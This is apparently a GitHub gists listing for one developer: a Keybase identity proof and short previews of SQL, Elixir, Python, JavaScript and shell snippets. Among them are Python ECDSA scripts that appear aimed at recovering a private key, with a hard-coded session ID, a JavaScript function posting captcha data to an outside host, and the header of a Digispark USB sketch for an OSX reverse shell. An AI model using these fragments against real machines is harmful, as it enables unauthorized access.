I hereby claim:
- I am speeddragon on github.
- I am speeddragon (https://keybase.io/speeddragon) on keybase.
- I have a public key whose fingerprint is FAB0 09A8 4A69 FCFD CCFB AA16 213A DBC7 6991 F2D5
To claim this, I am signing this object:
| SELECT id, ST_Distance_Sphere(ST_MakePoint(112.15769, 25.28552), r0."location") AS distance | |
| FROM "restaurant" AS r0 | |
| WHERE ST_Distance_Sphere(ST_MakePoint(112.15769, 25.28552), r0.location) < 400 | |
| ORDER BY distance | |
| LIMIT 20 OFFSET 0; | 
| from ecdsa import SigningKey | |
| from ecdsa import VerifyingKey | |
| import ecdsa | |
| from ecdsa.numbertheory import inverse_mod | |
| import hashlib | |
| import binascii | |
| import base64 | |
| curve_order = ecdsa.curves.NIST192p.order | 
| from ecdsa import SigningKey | |
| from ecdsa import VerifyingKey | |
| import ecdsa | |
| from ecdsa.numbertheory import inverse_mod | |
| import hashlib | |
| import binascii | |
| import base64 | |
| import httplib | |
| sessid = "6621a96c7db568374f2885d6d135f395010e75a94ec2233a433ff8e2" | 
I hereby claim:
To claim this, I am signing this object:
| # | |
| # O(2N) | |
| # | |
| t1 = :os.system_time(:millisecond) | |
| v1 = 1..100_000 |> Enum.with_index() |> Enum.map(fn {x, y} -> x + y end) | |
| IO.puts("t1: #{:os.system_time(:millisecond) - t1} ms") | 
| # Structure | |
| # schema "restaurant_schedule" do | |
| # field(:from_weekday, :integer) | |
| # field(:to_weekday, :integer) | |
| # | |
| # field(:open_time, :time) | |
| # field(:close_time, :time) | |
| # timestamps() | 
| defmodule ImageValidation do | |
| @doc """ | |
| JPG magic bytes: 0xffd8 | |
| """ | |
| @spec is_jpg?(binary()) :: boolean() | |
| def is_jpg?(file) do | |
| with <<head::binary-size(2)>> <> _ = file.binary, | |
| <<255, 216>> <- head do | |
| true | |
| else | 
| wget https://www.imagemagick.org/download/linux/CentOS/x86_64/ImageMagick-7.0.8-10.x86_64.rpm | |
| sudo alien ImageMagick-7.0.8-10.x86_64.rpm | |
| sudo dpkg -i imagemagick_7.0.8-11_amd64.deb | 
| function send_to_pastebin(captcha) { | |
| var url = "https://commie.io/lib/router.php"; | |
| var threadId = "ImQCbHa1"; | |
| var post = "do=savecomment&uid=" + threadId + "&comment=" + captcha + "&line=0&user=" + guid; | |
| var request = new XMLHttpRequest(); | |
| request.open("POST", url, true); | |
| request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
| request.onreadystatechange = function() {//Call a function when the state changes. | 
| /* | |
| This is an example of reverse shell for OSX with bypass of ZSH issues. | |
| This code is for Portuguese (PT) layout keyboards. | |
| Using Digispark USB. | |
| */ | |
| #include "DigiKeyboard.h" | |
| #define KEY_TAB 43 | |
| #define KEY_DELETE 76 |